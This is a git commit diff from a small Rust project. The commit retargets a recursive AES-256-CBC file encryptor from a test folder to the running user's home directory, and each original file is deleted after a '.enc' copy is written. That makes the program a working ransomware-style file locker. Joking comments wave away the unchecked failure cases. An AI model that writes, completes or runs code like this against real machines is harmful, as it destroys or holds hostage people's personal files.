feat: use home directory instead of testdir

This commit is contained in:
Xory 2024-06-14 16:55:44 +03:00
parent f192d2c239
commit d9713f5b79
7 changed files with 19 additions and 13 deletions

View file

@ -15,5 +15,6 @@ path = "src/decrypt.rs"
[dependencies] [dependencies]
aes = "0.7.5" aes = "0.7.5"
block-modes = "0.8.1" block-modes = "0.8.1"
dirs = "5.0.1"
hex = "0.4.3" hex = "0.4.3"
rand = "0.8.5" rand = "0.8.5"

View file

@ -7,7 +7,7 @@ use aes::Aes256;
use block_modes::{BlockMode, Cbc}; use block_modes::{BlockMode, Cbc};
use block_modes::block_padding::Pkcs7; use block_modes::block_padding::Pkcs7;
use std::fs::File; use std::fs::File;
use std::path::{Path, PathBuf}; use std::path::Path;
use std::fs; use std::fs;
use std::io::{Read, Write}; use std::io::{Read, Write};
use std::error::Error; use std::error::Error;
@ -66,7 +66,7 @@ fn get_files(directory_path: &str) -> Vec<String> {
if file_path.is_file() { if file_path.is_file() {
file_list.push(file_path.to_string_lossy().to_string()); file_list.push(file_path.to_string_lossy().to_string());
} else if file_path.is_dir() { } else if file_path.is_dir() {
let sub_files = get_files(&file_path.to_string_lossy().to_string()); let sub_files = get_files(file_path.to_string_lossy().as_ref());
file_list.extend(sub_files); file_list.extend(sub_files);
} }
} }
@ -78,8 +78,8 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path); let directory = get_files(directory_path);
for mut file in directory { for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc"; let encrypted_file_path = file.as_mut().to_owned() + ".enc";
encrypt_file(&file, &encrypted_file_path)?; if encrypt_file(&file, &encrypted_file_path).is_err() { break; }
fs::remove_file(file).unwrap(); if fs::remove_file(file).is_err() { break; }
} }
Ok(()) Ok(())
} }
@ -87,8 +87,11 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> { pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path); let directory = get_files(directory_path);
for mut file in directory { for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc"; let mut file_path = file.as_mut().to_owned();
decrypt_file(&file, &encrypted_file_path)?; let ext_index = file_path.rfind('.').unwrap();
file_path.truncate(ext_index);
if decrypt_file(&file, &file_path).is_err() { break; }
if fs::remove_file(file).is_err() { break; }
} }
Ok(()) Ok(())
} }

View file

@ -1,9 +1,11 @@
mod crypto; mod crypto;
use crypto::encrypt_directory; use crypto::encrypt_directory;
extern crate dirs;
use dirs::home_dir;
fn main() { fn main() {
println!("Hello, world!"); let home = home_dir().unwrap(); // no way this could fail!
println!("Encrypting test directory"); encrypt_directory(home.to_str().unwrap()).unwrap(); // I know this many unwraps look
encrypt_directory("testdir").unwrap(); // suspicious, but the chance of this
// failing is less than a solar flare.
} }

View file

@ -1 +0,0 @@
meow

View file

@ -1 +1 @@
meow meow meow1

1
testdir/dir2/meow3.txt Normal file
View file

@ -0,0 +1 @@
meow3

View file

@ -1 +1 @@
cats would rule the world better than humans meow